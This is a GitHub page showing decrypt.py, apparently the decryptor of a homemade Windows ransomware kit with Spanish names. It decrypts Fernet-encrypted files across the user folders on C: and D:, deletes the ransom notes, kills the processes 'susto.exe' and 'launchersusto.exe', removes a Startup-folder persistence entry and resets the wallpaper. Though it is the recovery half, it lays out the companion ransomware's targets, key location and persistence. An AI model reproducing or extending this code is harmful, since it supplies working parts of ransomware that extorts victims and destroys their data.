-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdecrypt.py
More file actions
77 lines (74 loc) · 3.1 KB
/
Copy pathdecrypt.py
File metadata and controls
77 lines (74 loc) · 3.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from cryptography.fernet import Fernet
import os,getpass,ctypes
nomelotoques=["key.key","lanzador.exe","encrypt.exe","decrypt.exe","documentointeresante.docx","noesunvirusvenom.exe","susto.exe","ransomdetalles.txt","ohno.mp3","fondohack.jpg"]
def load_key():
return open('C:\\Users\\'+getpass.getuser()+'\\Documents\\key.key', 'rb').read()
def decrypt(item, key):
f = Fernet(key)
try:
with open(item,'rb') as file:
encrypted_data = file.read()
decrypted_data = f.decrypt(encrypted_data)
with open(item, 'wb') as file:
file.write(decrypted_data)
except Exception as e:
print(e)
if __name__ == '__main__':
usuario=getpass.getuser()
if os.path.exists("C:\\Users\\"+usuario+"\\Desktop\\victima"):
pruebaono="\\Desktop\\victima"
else:
pruebaono=""
docs = 'C:\\Users\\'+usuario+pruebaono+'\\Documents'
music = 'C:\\Users\\'+usuario+pruebaono+'\\Music'
pictures = 'C:\\Users\\'+usuario+pruebaono+'\\Pictures'
videos = 'C:\\Users\\'+usuario+pruebaono+'\\Videos'
downloads= 'C:\\Users\\'+usuario+pruebaono+'\\Downloads'
desktop= 'C:\\Users\\'+usuario+pruebaono+'\\Desktop'
carpetasAencriptar=[docs,music,pictures,videos,downloads,desktop]
try:
os.listdir("D:\\Users")
ddocs = 'D:\\Users\\'+usuario+pruebaono+'\\Documents'
dmusic = 'D:\\Users\\'+usuario+pruebaono+'\\Music'
dpictures = 'D:\\Users\\'+usuario+pruebaono+'\\Pictures'
dvideos = 'D:\\Users\\'+usuario+pruebaono+'\\Videos'
ddownloads= 'D:\\Users\\'+usuario+pruebaono+'\\Downloads'
ddesktop= 'D:\\Users\\'+usuario+pruebaono+'\\Desktop'
carpetasAencriptar.extend([ddocs,dmusic,dpictures,dvideos,ddownloads,ddesktop])
except:
pass
for carpeta in carpetasAencriptar:
try:
os.remove(carpeta+'\\'+'rescate.txt')
except:
print("no se borró ",carpeta,'\\','rescate.txt')
try:
os.remove(docs+"\\ransomdetalles.txt")
except:
print("no se borró ",docs,'\\','ransomdetalles.txt')
os.system("taskkill /f /im launchersusto.exe")
os.system("taskkill /f /im susto.exe")
try:
os.remove("C:\\Users\\"+usuario+"\\Appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\launchersusto.exe")
except:
print("no se borró startup")
try:
key = load_key()
for carpeta in carpetasAencriptar:
for ruta, directorios, archivos in os.walk(carpeta):
for archivo in archivos:
if archivo not in nomelotoques:
archivo_ruta = os.path.join(ruta, archivo)
decrypt(archivo_ruta,key)
except Exception as e:
print(e)
print("Se cambiará solo el fondo")
try:
os.remove(docs+"\\key.key")
except:
print("no hay llave")
try:
os.remove(docs+"\\ransomid.txt")
except:
print("no hay ransomid")
print(ctypes.windll.user32.SystemParametersInfoW(20,0,docs+"\\fondobak.jpg", 0))